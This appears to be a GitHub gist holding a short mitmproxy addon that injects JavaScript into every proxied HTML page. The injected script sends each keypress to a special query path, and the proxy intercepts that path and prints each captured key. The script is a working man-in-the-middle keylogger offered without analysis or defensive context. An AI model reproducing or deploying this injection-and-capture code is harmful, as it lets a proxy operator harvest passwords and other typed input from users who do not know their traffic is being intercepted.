Last active
August 28, 2019 02:48
-
-
Save no1xsyzy/1b342ed48b09bb2c22d368b161cb351d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from mitmproxy import http | |
def request(flow: http.HTTPFlow) -> None: | |
if 'magicnumber' in flow.request.query: | |
print(repr(flow.request.query['magicnumber'])) | |
flow.response = flow.response = http.HTTPResponse.make(200) | |
def response(flow: http.HTTPFlow) -> None: | |
flow.response.content = flow.response.content.replace( | |
b"</body>", | |
b"""<script> | |
document.addEventListener("keypress", function(e){fetch("/?magicnumber="+e.key)}) | |
</script></body>""") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment